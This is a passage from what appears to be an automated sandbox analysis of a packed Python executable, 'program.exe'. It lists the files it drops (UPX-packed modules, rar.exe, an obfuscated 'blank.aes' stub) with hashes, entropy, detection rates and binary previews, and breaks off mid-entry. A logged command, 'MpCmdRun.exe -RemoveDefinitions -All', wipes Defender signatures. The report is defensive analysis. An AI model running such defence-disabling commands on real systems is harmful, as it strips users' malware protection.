Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.M.p.C.m.d.R.u.n...e.x.e.". . .-.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s. .-.A.l.l..... .S.t.a.r.t. .T.i.m.e.:. .. S.u.n. .. N.o.v. .. 1.7. .. 2.0.2.4. .0.5.:.2.2.:.2.5.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....S.t.a.r.t.:. .M.p.R.e.m.o.v.e.D.e.f.i.n.i.t.i.o.n.s.(.1.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. S.u.n. .. N.o.v. .. 1.7. .. 2.0.2.4. .0.5.:.2.2.:.2.5.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....

C:\Users\user\AppData\Local\Temp\RES93BE.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x4b6, 9 symbols, created Sun Nov 17 11:58:08 2024, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	4.120789688023344
Encrypted:	false
SSDEEP:	24:HEFq9UZf3UOUDfHAwKefNqxNII+ycuZhNLRakSyWPNnqS+d:kvBkOSPKCNqu1ulLRa3yqqSe
MD5:	04A2EC094D01B7FACC270A1EAAAE9C88
SHA1:	3879B908422F1857226D50CE73A448AB478A7527
SHA-256:	247DFCA2019DD3DE5917E65F815FD0DD4BA299098FB142BE4184E8B87258C4AD
SHA-512:	4082305B54E86CA005CC10119549C7E6CA7A6020CD7C18C42F3FCB271E1BE4DA4A1A82756CC6E2AF47550E0A5B3A9B2015723F59C7CBFE60E1BFA00F69FD5D7E
Malicious:	false
Preview:	L...P.9g.............debug$S........x...................@..B.rsrc$01........X.......\...........@..@.rsrc$02........P...f...............@..@........S....c:\Users\user\AppData\Local\Temp\tgmup5d5\CSC93ACBC84BC674220B3501D9F22ECFDE.TMP.................u*_.....2F.]...........4.......C:\Users\user\AppData\Local\Temp\RES93BE.tmp.-.<....................a..Microsoft (R) CVTRES...=..cwd.C:\Users\user\AppData\Local\Temp\...........exe.C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe...............................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...t.g.m.u.p.5.d.5...d.l.l.....(.....L.e.g.a.

C:\Users\user\AppData\Local\Temp\_MEI73082\VCRUNTIME140.dll

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120400
Entropy (8bit):	6.6017475353076716
Encrypted:	false
SSDEEP:	1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
MD5:	862F820C3251E4CA6FC0AC00E4092239
SHA1:	EF96D84B253041B090C243594F90938E9A487A9A
SHA-256:	36585912E5EAF83BA9FEA0631534F690CCDC2D7BA91537166FE53E56C221E153
SHA-512:	2F8A0F11BCCC3A8CB99637DEEDA0158240DF0885A230F38BB7F21257C659F05646C6B61E993F87E0877F6BA06B347DDD1FC45D5C44BC4E309EF75ED882B82E4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: 799Ox3XqxO.exe, Detection: malicious, Browse Filename: XODc5nV1kC.exe, Detection: malicious, Browse Filename: active.exe, Detection: malicious, Browse Filename: Creal.exe, Detection: malicious, Browse Filename: #U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: B6EGeOHEFm.exe, Detection: malicious, Browse Filename: Q60ZbERXWZ.exe, Detection: malicious, Browse Filename: XCubQJqiz7.exe, Detection: malicious, Browse Filename: MVPloader.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\=..\...\...\..S$...\...$...\...\..5\...\...\.....\.....\.....\.....\......\.....\..Rich.\..........PE..d.....x.........." ...).$...d............................................................`A........................................0u..4...d}..........................PP...........^..p............................\..@............@...............................text............................... ..`fothk........0...................... ..`.rdata...C...@...D...(..............@..@.data................l..............@....pdata...............p..............@..@_RDATA...............\|..............@..@.rsrc................~..............@..@.reloc..............................@..B................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49424
Entropy (8bit):	7.815740675307968
Encrypted:	false
SSDEEP:	768:esvzuaVl+ztlrpqKgHrzwTzjT+KyH9qtztKnb3/+u2xmFepwUIJLV1/DU5YiSyvX:huaugLzUz+lOsnb33lUIJLV1i7SyFB
MD5:	58FC4C56F7F400DE210E98CCB8FDC4B2
SHA1:	12CB7EC39F3AF0947000295F4B50CBD6E7436554
SHA-256:	DFC195EBB59DC5E365EFD3853D72897B8838497E15C0977B6EDB1EB347F13150
SHA-512:	AD0C6A9A5CA719D244117984A06CCE8E59ED122855E4595DF242DF18509752429389C3A44A8BA0ABC817D61E37F64638CCBDFFC17238D4C38D2364F0A10E6BC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......e...!m..!m..!m..(.o.+m..1...#m..1..."m..1...%m..1...)m..1...,m..i..."m..j...#m..!m..\|m..i...)m..i... m..i... m..i... m..Rich!m..........PE..d.....g.........." ...).............d....................................................`.............................................H.................... .. ...................................................p..@...........................................UPX0....................................UPX1................................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_ctypes.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64272
Entropy (8bit):	7.834005148796091
Encrypted:	false
SSDEEP:	1536:Opx/sXWpBktLQ+ndnJZLIDdwXtRg1zk1+3XTkIJyPeB7SyFmhz:OXsXWpBgLBndJSdIgpk1+3XwIJyPeBrm
MD5:	79879C679A12FAC03F472463BB8CEFF7
SHA1:	B530763123BD2C537313E5E41477B0ADC0DF3099
SHA-256:	8D1A21192112E13913CB77708C105034C5F251D64517017975AF8E0C4999EBA3
SHA-512:	CA19DDAEFC9AB7C868DD82008A79EA457ACD71722FEC21C2371D51DCFDB99738E79EFF9B1913A306DBEDACB0540CA84A2EC31DC2267C7B559B6A98B390C5F3A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........h~..............q...............................................q.......q......!u.............................................Rich....................PE..d.....g.........." ...).............J.......................................p............`.........................................Hl.......i.......`.......................l.......................................V..@...........................................UPX0....................................UPX1................................@....rsrc........`......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_decimal.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120080
Entropy (8bit):	7.901857200989369
Encrypted:	false
SSDEEP:	3072:DXHhVKXEI3D7AboLmJ2g+3FAZ9raGHT2PIJvqMkPp5:DX3gEcD/Ksg+3JGHC0kb
MD5:	21D27C95493C701DFF0206FF5F03941D
SHA1:	F1F124D4B0E3092D28BA4EA4FE8CF601D5BD8600
SHA-256:	38EC7A3C2F368FFEB94524D7C66250C0D2DAFE58121E93E54B17C114058EA877
SHA-512:	A5FBDA904024CD097A86D6926E0D593B0F7E69E32DF347A49677818C2F4CD7DC83E2BAB7C2507428328248BD2F54B00F7B2A077C8A0AAD2224071F8221CB9457
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j2U..\...\...\..s....\..]...\.._...\..X...\..Y...\...]...\..s]...\...].z.\..._...\...Q...\...\...\.......\...^...\.Rich..\.........................PE..d......g.........." ...).....0...... .....................................................`.....................................................................t+..........\....................................... ...@...........................................UPX0....................................UPX1.............~..................@....rsrc....0.......$..................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_hashlib.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36112
Entropy (8bit):	7.6548425105220375
Encrypted:	false
SSDEEP:	768:yzzaDWoin9vvSwNbHyxBpnrIJvIoS5YiSyvE62Em:yzOW6wNbHCrIJvIoQ7Syc6c
MD5:	D6F123C4453230743ADCC06211236BC0
SHA1:	9F9ADE18AC3E12BCC09757A3C4B5EE74CF5E794E
SHA-256:	7A904FA6618157C34E24AAAC33FDF84035215D82C08EEC6983C165A49D785DC9
SHA-512:	F5575D18A51207B4E9DF5BB95277D4D03E3BB950C0E7B6C3DD2288645E26E1DE8EDCF634311C21A6BDC8C3378A71B531F840B8262DB708726D36D15CB6D02441
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........W.A.6...6...6...N%..6.......6.......6.......6.......6.......6...N...6.......6...6..26.......6.......6....I..6.......6..Rich.6..........PE..d......g.........." ...).P..........@........................................@............`.........................................\|;..P....9.......0.......................;......................................@+..@...........................................UPX0....................................UPX1.....P.......N..................@....rsrc........0.......R..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_lzma.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88336
Entropy (8bit):	7.9108932581373015
Encrypted:	false
SSDEEP:	1536:wlkdTJ3vEbPVfwGX+zD2z4qVHCy4N491I4lSi5j68Xi4az2yhIJ01uv7SyXN:wUFvEbdfwGOnqpCb491IK/EIJ01uvj
MD5:	055EB9D91C42BB228A72BF5B7B77C0C8
SHA1:	5659B4A819455CF024755A493DB0952E1979A9CF
SHA-256:	DE342275A648207BEF9B9662C9829AF222B160975AD8925CC5612CD0F182414E
SHA-512:	C5CBA050F4B805A299F5D04EC0DCE9B718A16BC335CAC17F23E96519DA0B9EAAF25AE0E9B29EF3DC56603BFE8317CDC1A67EE6464D84A562CF04BEA52C31CFAC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7...V.,.V.,.V.,...,.V.,..-.V.,..-.V.,..-.V.,..-.V.,..-.V.,...-.V.,.V.,.V.,..-.V.,..-.V.,..u,.V.,..-.V.,Rich.V.,................PE..d......g.........." ...). .......p........................................................`.........................................4...L....................0..........................................................@...........................................UPX0.....p..............................UPX1..... ..........................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_queue.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	27408
Entropy (8bit):	7.449801379195215
Encrypted:	false
SSDEEP:	384:he8SQ/XAVUI1ZCXG5oZa7gJX28IJ9U4NVTHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:he8XPAVhZwvpm8IJ9U4X5YiSyvTo2Et
MD5:	513DCE65C09B3ABC516687F99A6971D8
SHA1:	8F744C6F79A23AA380D9E6289CB4504B0E69FE3B
SHA-256:	D4BE41574C3E17792A25793E6F5BF171BAEEB4255C08CB6A5CD7705A91E896FC
SHA-512:	621F9670541CAC5684892EC92378C46FF5E1A3D065D2E081D27277F1E83D6C60510C46CAB333C6ED0FF81A25A1BDC0046C7001D14B3F885E25019F9CDD550ED0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T...........-.........................................................................A...........Rich...................PE..d.....g.........." ...).0..........@.....................................................`.............................................L.......P............`..l...........<.......................................@...@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_socket.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	45328
Entropy (8bit):	7.729647917060796
Encrypted:	false
SSDEEP:	768:BVO07RbhED2LEIuo4OCYkbaEts+ZIQivK+F8kp9jHIJywFmk5YiSyv+2Eb:zPkD2LEIuo4E5C30d1jHIJywFmu7Sy21
MD5:	14392D71DFE6D6BDC3EBCDBDE3C4049C
SHA1:	622479981E1BBC7DD13C1A852AE6B2B2AEBEA4D7
SHA-256:	A1E39E2386634069070903E2D9C2B51A42CB0D59C20B7BE50EF95C89C268DEB2
SHA-512:	0F6359F0ADC99EFAD5A9833F2148B066B2C4BAF564BA16090E04E2B4E3A380D6AFF4C9E7AEAA2BA247F020F7BD97635FCDFE4E3B11A31C9C6EA64A4142333424
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............ll}.ll}.ll}...}.ll}..m\|.ll}..o\|.ll}..h\|.ll}..i\|.ll}..m\|.ll}.lm}.ll}..m\|.ll}..a\|.ll}..l\|.ll}..}.ll}..n\|.ll}Rich.ll}........PE..d.....g.........." ...).p...........q....................................................`.........................................D...P....................0.......................................................}..@...........................................UPX0....................................UPX1.....p.......p..................@....rsrc................t..............@..............................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_sqlite3.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	60176
Entropy (8bit):	7.847943448203495
Encrypted:	false
SSDEEP:	1536:HqbxjT8JFLTgRG/dv8xxEOKI+C6IJvQl67SydP:KbFT8JZg+8xBd+XIJvQl6L
MD5:	8CD40257514A16060D5D882788855B55
SHA1:	1FD1ED3E84869897A1FAD9770FAF1058AB17CCB9
SHA-256:	7D53DF36EE9DA2DF36C2676CFAEA84EE87E7E2A15AD8123F6ABB48717C3BC891
SHA-512:	A700C3CE95CE1B3FD65A9F335C7C778643B2F7140920FE7EBF5D9BE1089BA04D6C298BF28427CA774FBF412D7F9B77F45708A8A0729437F136232E72D6231C34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........V...7.7.7.Oc..7...7.....7...7.....7.....7...7..O.7.7.6.....7...7.....7...7.Rich.7.........................PE..d......g.........." ...)............p-.......................................P............`..........................................K..P....I.......@.......................K......................................p9..@...........................................UPX0....................................UPX1................................@....rsrc........@......................@......................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\_ssl.pyd

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	68368
Entropy (8bit):	7.86108869046165
Encrypted:	false
SSDEEP:	1536:knDFWlIqOuazwp1eBNcnYTpXZwWVfTwIJL7O497Sy5ArQ:+5MtOu89KYTXwEEIJL7OKjAQ
MD5:	7EF27CD65635DFBA6076771B46C1B99F
SHA1:	14CB35CE2898ED4E871703E3B882A057242C5D05
SHA-256:	6EF0EF892DC9AD68874E2743AF7985590BB071E8AFE3BBF8E716F3F4B10F19B4
SHA-512:	AC64A19D610448BADFD784A55F3129D138E3B697CF2163D5EA5910D06A86D0EA48727485D97EDBA3C395407E2CCF8868E45DD6D69533405B606E5D9B41BAADC0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......FM.^.,k..,k..,k..T...,k...j..,k...h..,k...o..,k...n..,k.J.j..,k...j..,k..,j..-k.ITj..,k.J.f..,k.J.k..,k.J....,k.J.i..,k.Rich.,k.................PE..d......g.........." ...).........P.......`...................................@............`.........................................l<..d....9.......0.......................<.......................................(..@...........................................UPX0.....P..............................UPX1.........`......................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\base_library.zip

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1394456
Entropy (8bit):	5.531698507573688
Encrypted:	false
SSDEEP:	12288:IW7WpLV6yNLeGQbVz3YQfiBgDPtLwjFx278e6ZQnHS91lqyL+DXUgnxOr+dx5/GO:B7WpLtHa9BHSHAW+dx5/GP05vddD
MD5:	A9CBD0455B46C7D14194D1F18CA8719E
SHA1:	E1B0C30BCCD9583949C247854F617AC8A14CBAC7
SHA-256:	DF6C19637D239BFEDC8CD13D20E0938C65E8FDF340622FF334DB533F2D30FA19
SHA-512:	B92468E71490A8800E51410DF7068DD8099E78C79A95666ECF274A9E9206359F049490B8F60B96081FAFD872EC717E67020364BCFA972F26F0D77A959637E528
Malicious:	false
Reputation:	unknown
Preview:	PK..........!..b.e............_collections_abc.pyc......................................\.....S.r.S.S.K.J.r.J.r. .S.S.K.r.\.".\.\.....5.......r.\.".S.5.......r.S...r.\.".\.5.......r.C./.S.Q.r.S.r.\.".\.".S.5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".0.R%..................5.......5.......5.......r.\.".\.".0.R)..................5.......5.......5.......r.\.".\.".0.R-..................5.......5.......5.......r.\.".\."./.5.......5.......r.\.".\.".\."./.5.......5.......5.......r.\.".\.".\.".S.5.......5.......5.......r.\.".\.".\.".S.S.-...5.......5.......5.......r.\.".\.".\.".5.......5.......5.......r.\.".\.".S.5.......5.......r \.".\.".S.5.......5.......r!\.".\.".\"".5.......5.......5.......r#\.".0.R%..................5.......5.......r$\.".0.R)..................5.......5.......r%\.".0.R-..................5.......5.......r&\.".\.RN..................5.......r(S...r)\)".5.......r*C)\.".S...".5.......5.......r+S...r,\,".5.......r,\.".\,5.......r-\,R]..................5.......

C:\Users\user\AppData\Local\Temp\_MEI73082\blank.aes

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	113874
Entropy (8bit):	7.73370490411063
Encrypted:	false
SSDEEP:	1536:492Wl7KxFTXlh+5dF3e2A8QN8A0EuqUkrVrrib26s/CGGzuskhz2WawfooIMR2jV:AKxJi5dFO2A8BS9ss/CbzTUKWSxqcf
MD5:	7FC09043BE2028C6D91488E29ACDC4D0
SHA1:	B3C8537899831477155252A89F5E8373433C0130
SHA-256:	5AF489AF3E1F305D479D57D6EBBD9508E0BA6A537B9814A637D4303CDE4A70D4
SHA-512:	6442D8EE116FE4ECAEAA807C861A98AF1D84D0498D646867AA221B2DAF157D8F0CDB9FA3114666BCE2BD37B01660561BAC00798835BDF51846E6C9C4C141C820
Malicious:	false
Reputation:	unknown
Preview:	PK........AbXY+Z..\...\.......stub-o.pyc...........g+ .............................\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R...................5.......5.......r.S...r.S.r.\.".\.".\.".\.".\."./.S.Q.5.......R...................5.......5.......\."./.S.Q.5.......R...................5.......5.......".\."./.S.Q.5.......5.......R.........

C:\Users\user\AppData\Local\Temp\_MEI73082\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1630488
Entropy (8bit):	7.952879310777133
Encrypted:	false
SSDEEP:	49152:f3Y7UGnm3dtF6Q5xkI61CPwDvt3uFlDCm:/Y7Bm3dz6Q5c1CPwDvt3uFlDCm
MD5:	8377FE5949527DD7BE7B827CB1FFD324
SHA1:	AA483A875CB06A86A371829372980D772FDA2BF9
SHA-256:	88E8AA1C816E9F03A3B589C7028319EF456F72ADB86C9DDCA346258B6B30402D
SHA-512:	C59D0CBE8A1C64F2C18B5E2B1F49705D079A2259378A1F95F7A368415A2DC3116E0C3C731E9ABFA626D12C02B9E0D72C98C1F91A359F5486133478144FA7F5F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........._~.._~.._~..V.S.M~.....]~.....[~.....W~.....S~.._~...~......T~..J....~..J...7}..J...^~..J.?.^~..J...^~..Rich_~..........................PE..d......f.........." ...(. .......p:.`.P...:..................................0S...........`......................................... .P......P.h.....P...... L. .............S..................................... .P.@...........................................UPX0.....p:.............................UPX1..... ....:.....................@....rsrc.........P......"..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:3p/6aepjG56w24Up3p45YiSyvkIPxWEqG:tA154spK7SytPxF
MD5:	08B000C3D990BC018FCB91A1E175E06E
SHA1:	BD0CE09BB3414D11C91316113C2BECFFF0862D0D
SHA-256:	135C772B42BA6353757A4D076CE03DBF792456143B42D25A62066DA46144FECE
SHA-512:	8820D297AEDA5A5EBE1306E7664F7A95421751DB60D71DC20DA251BCDFDC73F3FD0B22546BD62E62D7AA44DFE702E4032FE78802FB16EE6C2583D65ABC891CBF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	227096
Entropy (8bit):	7.928768674438361
Encrypted:	false
SSDEEP:	6144:PpEswYxCQyTp2Z/3YUtoQe5efEw+OXDbM3nFLQdFM4mNJQ:PpAqo92h3Y660Ew+OTbAFLQd2lw
MD5:	B2E766F5CF6F9D4DCBE8537BC5BDED2F
SHA1:	331269521CE1AB76799E69E9AE1C3B565A838574
SHA-256:	3CC6828E7047C6A7EFF517AA434403EA42128C8595BF44126765B38200B87CE4
SHA-512:	5233C8230497AADB9393C3EE5049E4AB99766A68F82091FE32393EE980887EBD4503BF88847C462C40C3FC786F8D179DAC5CB343B980944ADE43BC6646F5AD5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l.>..\|m..\|m..\|m.u.m..\|m+.}l..\|m.u}l..\|m+..l..\|m+.xl..\|m+.yl..\|m..}l..\|m..}m..\|m..xl..\|m..\|l..\|m...m..\|m..~l..\|mRich..\|m................PE..d......f.........." ...(.....P...... z....................................................`............................................,C......8............ ...M.................................................. ...@...........................................UPX0....................................UPX1................................@....rsrc....P.......L..................@......................................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\python313.dll

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1850640
Entropy (8bit):	7.994061638516346
Encrypted:	true
SSDEEP:	49152:l+wZGihuIlkSb9jVzMR3Wbp+JL3o+2H5V8Saryhll3DgsZ:1GbYk8w9YpgLY+2H5eSaryt3DgM
MD5:	6EF5D2F77064DF6F2F47AF7EE4D44F0F
SHA1:	0003946454B107874AA31839D41EDCDA1C77B0AF
SHA-256:	AB7C640F044D2EB7F4F0A4DFE5E719DFD9E5FCD769943233F5CECE436870E367
SHA-512:	1662CC02635D63B8114B41D11EC30A2AF4B0B60209196AAC937C2A608588FEE47C6E93163EA6BF958246C32759AC5C82A712EA3D690E796E2070AC0FF9104266
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........s]{v ]{v ]{v M.w!_{v M.. S{v M.u!Y{v M.r!U{v M.s!P{v T.. G{v ..w!V{v ]{w .zv ..{!.{v ..v!\{v ... \{v ..t!\{v Rich]{v ........................PE..d......g.........." ...).@........J..3e...J..................................0f...........`.........................................H_e......Ye......Pe......0]..............'f.4............................?e.(...@@e.@...........................................UPX0......J.............................UPX1.....@....J..2..................@....rsrc........Pe......6..............@..............................................................................................................................................................................................................................................................................................................................................4.02.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	630736
Entropy (8bit):	6.409476333013752
Encrypted:	false
SSDEEP:	12288:3lPCcFDlj+gV4zOifKlOWVNcjfQww0S5JPgdbBC9qxbYG9Y:3lPCcvj+YYrfSOWVNcj1JS5JPgdbBCZd
MD5:	9C223575AE5B9544BC3D69AC6364F75E
SHA1:	8A1CB5EE02C742E937FEBC57609AC312247BA386
SHA-256:	90341AC8DCC9EC5F9EFE89945A381EB701FE15C3196F594D9D9F0F67B4FC2213
SHA-512:	57663E2C07B56024AAAE07515EE3A56B2F5068EBB2F2DC42BE95D1224376C2458DA21C965AAB6AE54DE780CB874C2FC9DE83D9089ABF4536DE0F50FACA582D09
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.a.@.a.@.a..v..F.a..v....a..v..M.a..J..B.a.{.b.H.a.{.d.j.a.{.e.U.a.I..K.a.@.`...a..d...a....A.a..c.A.a.Rich@.a.................PE..d....~.^.........."..........2.................@.............................p.......4....`..................................................]..x.......Xy......pD...`...?...`..........T...................x...(.......................@............................text...C........................... ..`.rdata..:p.......r..................@..@.data............2...b..............@....pdata..pD.......F..................@..@.tls................................@....rsrc...Xy.......z..................@..@.reloc.......`.......V..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73082\rarreg.key

Download File

Process:	C:\Users\user\Desktop\program.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	456
Entropy (8bit):	4.447296373872587
Encrypted:	false
SSDEEP:	12:Bn9j9sxpCDPxfhKLiaE5cNH0u/OCIhjWO:B9jiWDpf025cNU7CIEO
MD5:	4531984CAD7DACF24C086830068C4ABE
SHA1:	FA7C8C46677AF01A83CF652EF30BA39B2AAE14C3
